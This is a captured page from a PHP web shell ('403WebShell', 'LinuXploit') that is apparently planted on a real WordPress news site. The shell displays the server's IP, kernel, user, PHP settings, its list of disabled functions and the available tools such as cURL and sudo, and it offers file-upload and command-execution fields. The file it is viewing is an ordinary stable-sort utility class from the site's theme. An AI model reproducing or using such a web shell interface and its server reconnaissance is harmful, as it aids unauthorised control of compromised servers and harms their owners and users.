AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Modules/Common/StableSort.php
<?php
namespace B2\Modules\Common;

class StableSort
{

	static public function arsort(array &$array, $sort_flags = SORT_REGULAR)
	{
		$index = 0;
		foreach ($array as &$item) {
			$item = array($index++, $item);
		}

		$result = uasort($array, function ($a, $b) use ($sort_flags) {
			if ($a[1] == $b[1]) {
				return $a[0] - $b[0];
			}

			$set = array(-1 => $b[1], 1 => $a[1]);
			asort($set, $sort_flags);
			reset($set);
			return key($set);
		});

		foreach ($array as &$item) {
			$item = $item[1];
		}

		return $result;
	}

	static public function asort(array &$array, $sort_flags = SORT_REGULAR)
	{
		$index = 0;
		foreach ($array as &$item) {
			$item = array($index++, $item);
		}

		$result = uasort($array, function ($a, $b) use ($sort_flags) {
			if ($a[1] == $b[1]) {
				return $a[0] - $b[0];
			}

			$set = array(-1 => $a[1], 1 => $b[1]);
			asort($set, $sort_flags);
			reset($set);
			return key($set);
		});

		foreach ($array as &$item) {
			$item = $item[1];
		}

		return $result;
	}

	static public function natcasesort(array &$array)
	{
		$index = 0;
		foreach ($array as &$item) {
			$item = array($index++, $item);
		}

		$result = uasort($array, function ($a, $b) {
			$result = strnatcasecmp($a[1], $b[1]);
			return $result == 0 ? $a[0] - $b[0] : $result;
		});

		foreach ($array as &$item) {
			$item = $item[1];
		}

		return $result;
	}

	static public function natsort(array &$array)
	{
		$index = 0;
		foreach ($array as &$item) {
			$item = array($index++, $item);
		}

		$result = uasort($array, function ($a, $b) {
			$result = strnatcmp($a[1], $b[1]);
			return $result == 0 ? $a[0] - $b[0] : $result;
		});

		foreach ($array as &$item) {
			$item = $item[1];
		}

		return $result;
	}

	static public function uasort(array &$array, $value_compare_func)
	{
		$index = 0;
		foreach ($array as &$item) {
			$item = array($index++, $item);
		}

		$result = uasort($array, function ($a, $b) use ($value_compare_func) {
			$result = call_user_func($value_compare_func, $a[1], $b[1]);
			return $result == 0 ? $a[0] - $b[0] : $result;
		});

		foreach ($array as &$item) {
			$item = $item[1];
		}

		return $result;
	}

	static public function uksort(array &$array, $value_compare_func)
	{
		$keys = array_combine(array_keys($array), range(1, count($array)));

		$result = uksort($array, function ($a, $b) use ($value_compare_func, $keys) {
			$result = call_user_func($value_compare_func, $a, $b);
			return $result == 0 ? $keys[$a] - $keys[$b] : $result;
		});

		return $result;
	}

	static public function usort(array &$array, $value_compare_func)
	{
		$index = 0;
		foreach ($array as &$item) {
			$item = array($index++, $item);
		}

		$result = usort($array, function ($a, $b) use ($value_compare_func) {
			$result = call_user_func($value_compare_func, $a[1], $b[1]);
			return $result == 0 ? $a[0] - $b[0] : $result;
		});

		foreach ($array as &$item) {
			$item = $item[1];
		}

		return $result;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit